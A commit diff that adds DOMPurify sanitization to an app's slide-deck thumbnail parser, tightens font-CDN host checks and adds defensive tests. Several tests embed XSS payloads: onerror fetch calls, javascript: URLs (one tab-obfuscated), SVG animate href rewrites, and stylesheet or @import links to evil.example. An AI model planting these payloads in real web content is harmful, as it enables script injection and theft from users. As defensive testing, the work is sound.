fix(web): sanitize deck thumbnail markup with DOMPurify (#5847)

This commit is contained in:
Ethan Guo
2026-07-21 02:26:02 +00:00
committed by GitHub
parent bbb2167834
commit 85ec1b6243
4 changed files with 257 additions and 12 deletions
+1
View File
@@ -41,6 +41,7 @@
"@open-design/sidecar-proto": "workspace:*",
"@xterm/addon-fit": "0.10.0",
"@xterm/xterm": "5.5.0",
"dompurify": "3.4.2",
"jspdf": "4.2.1",
"lexical": "0.36.2",
"lucide-react": "1.16.0",
+95 -12
View File
@@ -17,6 +17,8 @@
// report `renderable: false` with a reason, and the caller keeps the old
// iframe thumbnail for that deck.
import DOMPurify from 'dompurify';
import { DECK_SLIDE_SELECTOR } from '@open-design/contracts/runtime/deck-stage-fallback';
export type DeckThumbnailFallbackReason =
@@ -67,7 +69,29 @@ const STRUCTURED_SLIDE_SELECTOR =
'deck-stage > [data-screen-label], .deck-stage > [data-screen-label], ' +
'#deck > [data-screen-label], body > [data-screen-label]';
const FONT_HOST_RE = /(?:fonts\.googleapis\.com|fonts\.gstatic\.com|use\.typekit\.net|fonts\.bunny\.net|fonts\.cdnfonts\.com)/i;
const FONT_HOSTS = new Set([
'fonts.googleapis.com',
'fonts.gstatic.com',
'use.typekit.net',
'fonts.bunny.net',
'fonts.cdnfonts.com',
]);
// A font stylesheet link is re-loaded document-wide by DeckSlideThumbnail, so it
// must be an https URL whose HOST is exactly an approved font CDN — a substring
// match would accept `https://evil.example/fonts.googleapis.com.css` and inject
// arbitrary CSS into the app document.
function isApprovedFontHref(href: string): boolean {
// Font-CDN links are always absolute https URLs; a relative href cannot be an
// approved CDN and is correctly treated as an untrusted external stylesheet.
let url: URL;
try {
url = new URL(href);
} catch {
return false;
}
return url.protocol === 'https:' && FONT_HOSTS.has(url.hostname.toLowerCase());
}
function unrenderable(reason: DeckThumbnailFallbackReason): ParsedDeckThumbnails {
return {
@@ -107,7 +131,7 @@ export function parseDeckThumbnails(html: string, baseHref?: string): ParsedDeck
if (!/\bstylesheet\b/.test(rel)) continue;
const href = link.getAttribute('href') || '';
if (!href) continue;
if (FONT_HOST_RE.test(href)) {
if (isApprovedFontHref(href)) {
if (!fontLinks.includes(href)) fontLinks.push(href);
} else {
return unrenderable('external-stylesheet');
@@ -195,10 +219,10 @@ function collectAncestors(slide: Element): DeckThumbnailAncestor[] {
while (node) {
const tag = node.tagName.toLowerCase();
if (tag === 'body' || tag === 'html') break;
chain.push({
tag,
attributes: Array.from(node.attributes).map((a) => [a.name, a.value] as [string, string]),
});
// These wrappers are reconstructed as live elements in the app-origin shadow
// DOM by DeckSlideThumbnail, so a wrapper is a second injection path for
// untrusted deck markup and is sanitized the same way as the slide body.
chain.push(sanitizeThumbnailAncestor(node));
node = node.parentElement;
}
return chain.reverse();
@@ -295,13 +319,72 @@ function absolutizeCssUrls(css: string, baseHref: string): string {
});
}
// Clone the slide and normalize it for shadow rendering: rewrite inline-style
// viewport units to canvas px, and (when a base href is known) rewrite relative
// asset references (`src`, `srcset`, inline `style` url(), `href`) to absolute
// — a shadow root carries no <base>, so relative URLs would otherwise resolve
// against the host app page.
// DOMPurify configuration for a deck THUMBNAIL. DOMPurify's default profile
// already removes <script>, inline event-handler attributes, javascript: /
// vbscript: URLs, and mutation/animation vectors (including SVG SMIL that could
// re-write an attribute after insertion). On top of that we forbid interactive,
// navigable, and embedding elements so the static thumbnail stays inert and
// cannot navigate, submit, embed, or animate itself back to life. Custom deck
// elements (e.g. <deck-stage>) are allowed through as inert unknown elements so
// descendant CSS selectors keep matching.
const THUMBNAIL_SANITIZE_CONFIG = {
FORBID_TAGS: [
'a', 'area', 'audio', 'base', 'button', 'details', 'embed', 'form', 'iframe',
'input', 'link', 'marquee', 'meta', 'object', 'select', 'source', 'style',
'summary', 'textarea', 'track', 'video',
'animate', 'animatecolor', 'animatemotion', 'animatetransform', 'set',
],
FORBID_ATTR: ['autofocus', 'tabindex', 'target', 'ping', 'formaction', 'action'],
CUSTOM_ELEMENT_HANDLING: {
// Only the deck runtime's own `deck-*` custom elements are allowed through.
// A broader match would let an untrusted deck name an element the app has
// registered, which would upgrade and run its lifecycle callbacks once
// appended to the live DOM.
tagNameCheck: /^deck-[a-z0-9-]*$/,
attributeNameCheck: null,
allowCustomizedBuiltInElements: false,
},
};
// Sanitize untrusted deck markup and return its single sanitized root element,
// or null when the result is not exactly one element (e.g. a forbidden root
// that DOMPurify unwrapped into several top-level nodes). RETURN_DOM yields a
// <body> wrapper whose children are the sanitized top-level nodes; a forbidden
// root that unwraps to one safe child renders as that (already-sanitized) child.
function sanitizeThumbnailMarkup(html: string): Element | null {
const body = DOMPurify.sanitize(html, {
...THUMBNAIL_SANITIZE_CONFIG,
RETURN_DOM: true,
WHOLE_DOCUMENT: false,
}) as unknown as HTMLElement;
if (body.children.length !== 1) return null;
return body.firstElementChild;
}
// Sanitize a single reconstructed wrapper element (tag + attributes only). An
// unsafe wrapper that DOMPurify drops falls back to a plain <div> so the CSS
// chain depth the slide's descendant selectors expect is preserved.
function sanitizeThumbnailAncestor(node: Element): DeckThumbnailAncestor {
const shell = node.cloneNode(false) as Element;
const clean = sanitizeThumbnailMarkup(shell.outerHTML);
if (!clean) return { tag: 'div', attributes: [] };
return {
tag: clean.tagName.toLowerCase(),
attributes: Array.from(clean.attributes).map((a) => [a.name, a.value] as [string, string]),
};
}
// Clone the slide and normalize it for shadow rendering: sanitize the untrusted
// markup with DOMPurify (it is mounted into the app-origin shadow DOM by
// DeckSlideThumbnail), rewrite inline-style viewport units to canvas px, and
// (when a base href is known) rewrite relative asset references to absolute — a
// shadow root carries no <base>, so relative URLs would otherwise resolve
// against the host app page. If sanitizing does not yield exactly one root
// element (e.g. a forbidden root unwraps to several nodes) the slide renders a
// neutral placeholder instead.
function processSlideHtml(el: Element, baseHref: string | undefined, width: number, height: number): string {
const clone = el.cloneNode(true) as Element;
const clone = sanitizeThumbnailMarkup(el.outerHTML);
if (!clone) return '<div data-od-thumb-unsafe=""></div>';
const nodes = [clone, ...Array.from(clone.querySelectorAll('[src], [srcset], [style], [href]'))];
for (const node of nodes) {
if (baseHref) {
@@ -179,4 +179,162 @@ describe('parseDeckThumbnails', () => {
const styleless = '<body><section class="slide">A</section></body>';
expect(parseDeckThumbnails(styleless).reason).toBe('no-styles');
});
it('strips executable content from untrusted slide markup', () => {
const deck = [
'<!doctype html><html><head><style>',
' .deck-stage { width: 1920px; height: 1080px; }',
' .slide:not(.active) { display: none; }',
'</style></head><body>',
' <div class="deck-shell"><div class="deck-stage" id="deck-stage">',
' <section class="slide active">',
' <img src="x" onerror="fetch(\'//evil\')" alt="" />',
' <a href="javascript:alert(1)">link</a>',
' <a href="java\tscript:alert(3)">tabbed</a>',
' <h1 onclick="steal()">Title</h1>',
' <script>alert(2)</script>',
' <iframe src="https://evil.example"></iframe>',
' <object data="https://evil.example"></object>',
' <embed src="https://evil.example" />',
' <form action="https://evil.example"><button formaction="javascript:go()">x</button></form>',
' </section>',
' </div></div>',
'</body></html>',
].join('\n');
const parsed = parseDeckThumbnails(deck, '/api/projects/p1/raw/');
expect(parsed.renderable).toBe(true);
const slide = parsed.slides[0] ?? '';
// no inline event handlers, executable/navigable elements, or script URLs
expect(slide).not.toMatch(/onerror/i);
expect(slide).not.toMatch(/onclick/i);
expect(slide).not.toMatch(/<script/i);
expect(slide).not.toMatch(/<iframe/i);
expect(slide).not.toMatch(/<object/i);
expect(slide).not.toMatch(/<embed/i);
expect(slide).not.toMatch(/<form/i);
expect(slide).not.toMatch(/formaction/i);
expect(slide).not.toMatch(/javascript:/i);
// control-character-obfuscated scheme is neutralized too
expect(slide).not.toContain('alert(3)');
// benign slide content is preserved
expect(slide).toContain('<h1');
expect(slide).toContain('Title');
});
it('sanitizes reconstructed slide ancestors (a second injection path)', () => {
const deck = [
'<!doctype html><html><head><style>',
' .deck-stage { width: 1920px; height: 1080px; }',
'</style></head><body>',
' <div class="deck-shell" onclick="wrap()"><div class="deck-stage" id="deck-stage" onmouseover="wrap2()">',
' <section class="slide active"><h1>Title</h1></section>',
' </div></div>',
'</body></html>',
].join('\n');
const parsed = parseDeckThumbnails(deck, '/api/projects/p1/raw/');
expect(parsed.renderable).toBe(true);
const ancestorAttrNames = parsed.ancestors.flatMap((a) => a.attributes.map(([n]) => n.toLowerCase()));
// wrapper inline handlers are dropped before they are recreated in the DOM
expect(ancestorAttrNames.some((n) => n.startsWith('on'))).toBe(false);
// benign wrapper attributes (class) survive so CSS still targets the chain
expect(ancestorAttrNames).toContain('class');
});
it('neutralizes a slide whose root element is itself executable/navigable', () => {
const deck = [
'<!doctype html><html><head><style>',
' .deck-stage { width: 1920px; height: 1080px; }',
'</style></head><body>',
' <div class="deck-stage" id="deck-stage">',
' <form class="slide active" onsubmit="steal()" action="https://evil.example"><h1>Title</h1></form>',
' </div>',
'</body></html>',
].join('\n');
const parsed = parseDeckThumbnails(deck, '/api/projects/p1/raw/');
expect(parsed.renderable).toBe(true);
const slide = parsed.slides[0] ?? '';
// the navigable/submittable root element and its handlers are removed ...
expect(slide).not.toMatch(/<form/i);
expect(slide).not.toMatch(/onsubmit/i);
expect(slide).not.toMatch(/action=/i);
// ... while its inert content is preserved
expect(slide).toContain('Title');
});
it('removes SVG SMIL animation that could rewrite a sanitized attribute', () => {
const deck = [
'<!doctype html><html><head><style>',
' .deck-stage { width: 1920px; height: 1080px; }',
'</style></head><body>',
' <div class="deck-stage" id="deck-stage">',
' <section class="slide active">',
' <svg><a><animate attributeName="href" to="javascript:steal()" /></a></svg>',
' </section>',
' </div>',
'</body></html>',
].join('\n');
const parsed = parseDeckThumbnails(deck, '/api/projects/p1/raw/');
expect(parsed.renderable).toBe(true);
const slide = parsed.slides[0] ?? '';
expect(slide).not.toMatch(/<animate/i);
expect(slide).not.toMatch(/javascript:/i);
});
it('rejects a font-stylesheet link whose host is not exactly an approved CDN', () => {
const deck = [
'<!doctype html><html><head>',
' <link rel="stylesheet" href="https://evil.example/fonts.googleapis.com/inject.css">',
' <style>.deck-stage { width: 1920px; height: 1080px; }</style>',
'</head><body>',
' <div class="deck-stage" id="deck-stage"><section class="slide active"><h1>Title</h1></section></div>',
'</body></html>',
].join('\n');
const parsed = parseDeckThumbnails(deck, '/api/projects/p1/raw/');
// a substring hostname match would inject this stylesheet into the app doc;
// it must be treated as an untrusted external stylesheet instead.
expect(parsed.renderable).toBe(false);
expect(parsed.reason).toBe('external-stylesheet');
expect(parsed.fontLinks).not.toContain('https://evil.example/fonts.googleapis.com/inject.css');
});
it('still accepts a genuine approved font CDN stylesheet link', () => {
const deck = [
'<!doctype html><html><head>',
' <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Inter">',
' <style>.deck-stage { width: 1920px; height: 1080px; }</style>',
'</head><body>',
' <div class="deck-stage" id="deck-stage"><section class="slide active"><h1>Title</h1></section></div>',
'</body></html>',
].join('\n');
const parsed = parseDeckThumbnails(deck, '/api/projects/p1/raw/');
expect(parsed.renderable).toBe(true);
expect(parsed.fontLinks).toContain('https://fonts.googleapis.com/css2?family=Inter');
});
it('drops a slide-nested <style> element from the sanitized slide body', () => {
const deck = [
'<!doctype html><html><head><style>.deck-stage { width: 1920px; height: 1080px; }</style></head><body>',
' <div class="deck-stage" id="deck-stage">',
' <section class="slide active">',
' <style>@import url("https://evil.example/nested.css");</style>',
' <h1>Title</h1>',
' </section>',
' </div>',
'</body></html>',
].join('\n');
const parsed = parseDeckThumbnails(deck, '/api/projects/p1/raw/');
expect(parsed.renderable).toBe(true);
const slide = parsed.slides[0] ?? '';
// DOMPurify removes the <style> element from the slide body markup.
expect(slide).not.toMatch(/<style/i);
expect(slide).not.toContain('evil.example');
expect(slide).toContain('Title');
// Note the deferred gap: parseDeckThumbnails harvests every <style> in the
// document into styleText independently of this DOMPurify pass, so the
// nested rule's CSS (including its @import) still lands in styleText. CSS
// @import stripping is intentionally left to the CSS-tokenizer follow-up,
// so this stays unchanged from main and is asserted here, not silently
// assumed closed.
expect(parsed.styleText).toContain('evil.example');
});
});
+3
View File
@@ -339,6 +339,9 @@ importers:
'@xterm/xterm':
specifier: 5.5.0
version: 5.5.0
dompurify:
specifier: 3.4.2
version: 3.4.2
jspdf:
specifier: 4.2.1
version: 4.2.1